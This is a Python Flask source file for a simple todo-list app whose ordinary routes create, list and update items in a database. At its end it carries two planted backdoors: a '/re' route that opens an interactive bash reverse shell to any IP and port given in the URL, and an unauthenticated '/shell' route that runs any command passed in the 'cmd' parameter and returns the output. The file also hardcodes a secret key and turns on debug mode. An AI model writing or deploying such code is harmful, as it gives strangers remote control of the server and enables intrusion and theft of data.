#!/usr/bin/env python
# -*- coding: utf-8 -*-

from datetime import datetime
from flask import Flask, request, flash, url_for, redirect, render_template, abort
from flask.ext.sqlalchemy import SQLAlchemy #"from flask_sqlalchemy import SQLAlchemy" deprecated
import os, subprocess, socket

app = Flask(__name__)

app.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('DATABASE_URL', '')
app.config['SQLALCHEMY_ECHO'] = True
app.config['SQLALCHEMY_RECORD_QUERIES'] = True
app.config['SECRET_KEY'] = '\xfb\x12\xdf\xa1@i\xd6>V\xc0\xbb\x8fp\x16#Z\x0b\x81\xeb\x16'
app.config['DEBUG']      = True



db = SQLAlchemy(app)


class Todo(db.Model):
    __tablename__ = 'todos'
    id = db.Column('todo_id', db.Integer, primary_key=True)
    title = db.Column(db.String(60))
    text = db.Column(db.String)
    done = db.Column(db.Boolean)
    pub_date = db.Column(db.DateTime)

    def __init__(self, title, text):
        self.title = title
        self.text = text
        self.done = False
        self.pub_date = datetime.utcnow()


@app.route('/')
def index():
    return render_template('index.html',
        todos=Todo.query.order_by(Todo.pub_date.desc()).all()
    )


@app.route('/new', methods=['GET', 'POST'])
def new():
    if request.method == 'POST':
        if not request.form['title']:
            flash('Title is required', 'error')
        elif not request.form['text']:
            flash('Text is required', 'error')
        else:
            todo = Todo(request.form['title'], request.form['text'])
            db.session.add(todo)
            db.session.commit()
            flash(u'Todo item was successfully created')
            return redirect(url_for('index'))
    return render_template('new.html')

@app.route('/todos/<int:todo_id>', methods = ['GET' , 'POST'])
def show_or_update(todo_id):
    todo_item = Todo.query.get(todo_id)
    if request.method == 'GET':
        return render_template('view.html',todo=todo_item)
    todo_item.title = request.form['title']
    todo_item.text  = request.form['text']
    todo_item.done  = ('done.%d' % todo_id) in request.form
    db.session.commit()
    return redirect(url_for('index'))


@app.route('/re/<ip>/<int:port>')
def reverseshell(ip='123.321.123.321', port=12345):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip, port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/bash","-i"])
    #s.close()

    return 'to:',ip    

@app.route('/db')
def initdb():
    return db.create_all()

@app.route('/shell')
def webshell():
    try:
        cmd = request.args.get('cmd', 'cat /proc/cpuinfo')
        #fin, fout = os.popen4(cmd)
        #cmd_result= fout.read()
        p = subprocess.Popen(cmd, shell=True, bufsize=8192, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
        cmd_result = p.stdout.read()
    except Exception,e:
        cmd_result = str(e)

    return cmd_result

if __name__ == '__main__':
    app.run()
